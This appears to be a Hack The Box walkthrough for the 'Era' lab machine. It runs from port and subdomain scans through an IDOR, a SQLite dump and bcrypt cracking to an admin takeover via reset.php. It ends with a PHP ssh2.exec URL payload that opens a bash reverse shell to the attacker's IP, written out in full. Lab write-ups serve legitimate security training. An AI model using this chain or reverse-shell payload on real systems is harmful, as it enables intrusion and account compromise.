Era - Hack The Box
Platform: Linux
IP: 10.129.109.133
Difficulty: Medium
Author: NoSec
🚨 Follow live on HTB – leaks, drops, and deep writeups
👉 t.me/nosecpwn
Don't just read. Join us.
Edit host file
Add it to the /etc/hosts
file:
10.129.109.133 era.htb file.era.htb
Recon
Nmap port scan
nmap -sVC era.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 15:42 CEST
Nmap scan report for era.htb (10.129.109.133)
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds
Subdomain discovery with FFUF
Run FFUF to find subdomains:
(nosec㉿NoSec)-[~]
└─$ ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.era.htb" -u http://era.htb -t 200 -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /home/nosec/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 319ms]
:: Progress: [4989/4989] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
This finds a subdomain: file. Add it to the host file if you haven't already.
Gobuster directory enumeration
Look for interesting paths:
gobuster dir -u http://file.era.htb/ -w /usr/share/wordlists/dirb/common.txt -t 50 --exclude-length 6765 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://file.era.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] Exclude Length: 6765
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/.hta (Status: 403) [Size: 162]
/assets (Status: 301) [Size: 178] [--> http://file.era.htb/assets/]
/download.php (Status: 302) [Size: 0] [--> login.php]
/files (Status: 301) [Size: 178] [--> http://file.era.htb/files/]
/images (Status: 301) [Size: 178] [--> http://file.era.htb/images/]
/layout.php (Status: 200) [Size: 0]
/LICENSE (Status: 200) [Size: 34524]
/login.php (Status: 200) [Size: 9214]
/logout.php (Status: 200) [Size: 70]
/manage.php (Status: 302) [Size: 0] [--> login.php]
/register.php (Status: 200) [Size: 3205]
/upload.php (Status: 302) [Size: 0] [--> login.php]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================
We found several interesting pages, such as register.php and upload.php.
IDOR vulnerability
Register and upload a file. You can see that the file is given an ID. This indicates an IDOR vulnerability, in Burp we use intruder attack to search for other available files.
IDs that can be used: 54, 150
Dumping SQLite database
Download and extract the backup.zip
. Dump the SQLite database it contains:
sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE files (
fileid int NOT NULL PRIMARY KEY,
filepath varchar(255) NOT NULL,
fileowner int NOT NULL,
filedate timestamp NOT NULL
);
INSERT INTO files VALUES(54,'files/site-backup-30-08-24.zip',1,1725044282);
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
INSERT INTO users VALUES(1,'admin_ef01cab31aa','$2y$10$wDb####',600,'Maria','Oliver','Ottawa');
INSERT INTO users VALUES(2,'eric','$2y$10$S9EOSDq#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(3,'veronica','$2y$10$xQ#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(4,'yuri','$2b$12$HkRKUdjjO#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(5,'john','$2a$10$iccCEz#####',-1,NULL,NULL,NULL);
INSERT INTO users VALUES(6,'ethan','$2a$10$Pk####',-1,NULL,NULL,NULL);
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',16);
COMMIT;
sqlite>
Password hash cracking
We found some password hashes, let's crack them:
nosec㉿NoSec)-[~/Asztal/HTB_TMH/HTB_Era]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
am##### (eric)
mu##### (yuri)
2g 0:00:00:03 DONE (2025-07-30 15:59) 0.6230g/s 134.5p/s 179.4c/s 179.4C/s adidas..nicole1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Cracked hashes:
- eric:
am#####
- yuri:
mu#####
Vulnerability in download.php
In the download.php
admin BETA function, the format
parameter does not have a proper check. So it can be used for PHP stream wrapper attacks, e.g. SSH or LFI:
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
}
No permission check in reset.php
In reset.php
you can change the security questions of any user without any permission check. This gives you access to an admin account. At Update Security Questions, change the security questions for user admin_ef01cab31aa, then you can access the page as admin.
Reverse shell via SSH wrapper
Once we have admin privileges, we can exploit the download.php
BETA vulnerability mentioned above to reverse shell the server as a Yuri user:
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%22;
This opened a reverse shell as a Yuri user.
Change user
We can switch to Eric as we know his password:
su eric
Password: am#####
Shell stabilisation
We stabilize our shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Get user flag
Read the flag:
cat user.txt
✅ User flag obtained!
🔐 The root section is available only in our private Telegram group as long as the machine is active in Season 8.
👉 Join us for the full writeup, extra tips, and insider content:
📡 https://t.me/nosecpwn)